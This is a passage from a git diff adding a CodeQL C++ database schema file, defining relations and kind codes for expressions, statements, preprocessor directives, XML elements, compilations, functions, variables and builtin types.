@hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme new file mode 100644 index 00000000000..3c45f8b9e71 --- /dev/null +++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme @@ -0,0 +1,2493 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + 